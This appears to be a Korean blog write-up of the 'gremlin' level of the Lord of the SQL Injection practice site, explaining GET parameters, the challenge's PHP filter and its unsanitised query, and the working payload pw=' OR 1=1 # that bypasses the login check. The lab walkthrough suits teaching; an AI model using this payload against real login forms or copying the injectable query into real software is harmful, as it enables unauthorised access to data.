허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위입니다. 해킹을 시도할 때에 발생하는 법적인 책임은 그것을 행한 사용자에게 있다는 것을 명심하시기 바랍니다.
SQL Injection 공격은 임의의 SQL 쿼리문을 삽입한다는 게 가장 중요한 포인트입니다. 내가 삽입한 SQL 쿼리문이 서버에 어떻게 삽입되는지 그리고 DB에서 어떻게 실행되는 눈으로 보면 조금 더 이해하기가 쉬울 거라고 생각이 듭니다. LOS 사이트는 서버에서 완성되고 실행되는 SQL 쿼리문을 눈으로 확인할 수 있고, 내가 넣은 쿼리가 SQL 질의문이 어떻게 만들어지는지 확인할 수 있습니다. 이렇게 직접 눈으로 확인하면서 한 단계씩 풀어 보도록 하겠습니다.
GET 방식 데이터 전송
- 데이터를 URL에 포함하여 값을 전달하는 방식 입니다.
- URL의 길이가 제한되기 때문에 전송할 수 있는 데이터의 한계가 있을 수 있습니다.
- 모든 데이터가 URL에 노출되기 때문에 POST 방식에 비해 보안에 취약합니다.
- 한글, 공백, 특수문자 등 URL Encoding 처리를 해줘야 전송할 수 있습니다.
- 구분자 "?" 뒤에 오는 것이 파라미터(값)가 되고, 파라미터 값이 여러 개 있다면 구분자 "&"를 두어 파라미터를 구분할 수 있습니다.
GET 방식은 클라이언트의 데이터를 URL뒤에 붙여서 보냅니다. 위에서 쓴 예시처럼 아이디와 패스워드를 보낸다고 가정하면
www.testget.com?id=test&pass=1234 이런 식으로 값을 전달할 수 있으며, URL 뒤에 "?" 통해 URL의 끝을 알리면서, 데이터 표현의 시작점을 알립니다.
[LOS] Lord of the SQL Injection - gremlin
해당 문제를 살펴보면 GET 방식이라는 것을 알 수 있고, URL 데이터를 담아 값을 전달 할수 있다는 것을 알수 있습니다. 그럼 값을 전달해 보도록 하겠습니다.
https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=admin&pw=admin
처음 문제에 접속을 하여 query 부분을 확인하면 id와 pw 부분이 비어 있지만, id와 pw의 값을 넘겨주면 쿼리 문이
select id from prob_gremlin where id='admin' and pw='admin' 변경된 것을 알 수 있습니다. 즉 id=admin이고 pw=admin 인 값을 prob_gremlin 테이블의 id 컬럼에서 select해라라는 뜻이 됩니다. 코드를 살펴보도록 하겠습니다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
preg_match() 함수
- 인자로 전달받은 정규 표현식과 일치하는 패턴을 검색하는 php의 함수입니다.
preg_match(string $pattern, string $subject, array &$matches = null, int $flags = 0, int $offset = 0): int|false
pattern - 정규 표현식의 검색할 패턴(문자열)입니다.
subject - 입력 문자열입니다.
matches - 제공 되면 matches검색 결과로 채워집니다. $matches [0] 에는 전체 패턴과 일치하는 텍스트가 포함되고, $matches [1] 에는 캡처된 첫 번째 괄호 하위 패턴과 일치하는 텍스트가 포함되는 식입니다.
정규 표현식에 대해서는 추후에 자세히 다루도록 하겠습니다.
id, pw 전달받은 값 중에 prob, _ , . , ( , ) 값이 존재할 경우 "No Hack ~_~"을 표시해라 라는 뜻입니다.
id에 prob 값을 전달하면 "No Hack ~_~" 이 표시되는 것을 확인할 수 있습니다. 위에서 정규 표현식으로 필터링하는 값들을 하나씩 넣어 보고 결과 값을 확인해 보시기를 추천드립니다.
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);
query - SQL 쿼리문을 실행
echo - 값을 출력
mysqli_fetch_array 함수 - 쿼리의 결과를 처리
highlight_file — 파일의 구문 강조 표시
위의 쿼리를 살펴보면 id와 pw 값이 일치해야 문제가 풀리는 것을 알 수 있습니다. 하지만 우리는 id와 pw 값을 모르기 때문에 SQL 쿼리 문을 통해 우회를 해야 합니다.
id=value&pw=%27%20OR%201=1%20%23
URL이 인코딩 되었지만 실제 값은 아래와 같습니다.
id=임의값 & pw=' OR 1=1 #
pw=' OR 1=1 #
select id from prob_gremlin where id='value' and pw='' OR 1=1 #'
select id from prob_gremlin where id='' and pw='' OR 1=1 #'
쿼리를 해석해 보면 porb_gremlin 테이블의 id 컬럼에서 id가 value 이고 pw가 없거나 또는 값이 참일경우 조회해라 라고 풀이 할수 있습니다.
SQL 쿼리 문을 통하여 값을 참으로 만들어 주면 prob_gremlin 테이블의 모든 id 값을 가져올 수 있습니다.
참고
https://www.php.net/manual/en/function.preg-match.php
https://www.w3schools.com/tags/ref_urlencode.asp
'Code::War Game > los.rubiya.kr' 카테고리의 다른 글
[LOS] Lord of the SQL Injection - wolfman (0) | 2023.01.05 |
---|---|
[LOS] Lord of the SQL Injection - orc (0) | 2023.01.04 |
[LOS] Lord of the SQL Injection - goblin (0) | 2022.12.29 |
[LOS] Lord of the SQL Injection - cobolt (0) | 2022.12.28 |
[LOS] Lord of the SQL Injection 소개 (0) | 2022.12.19 |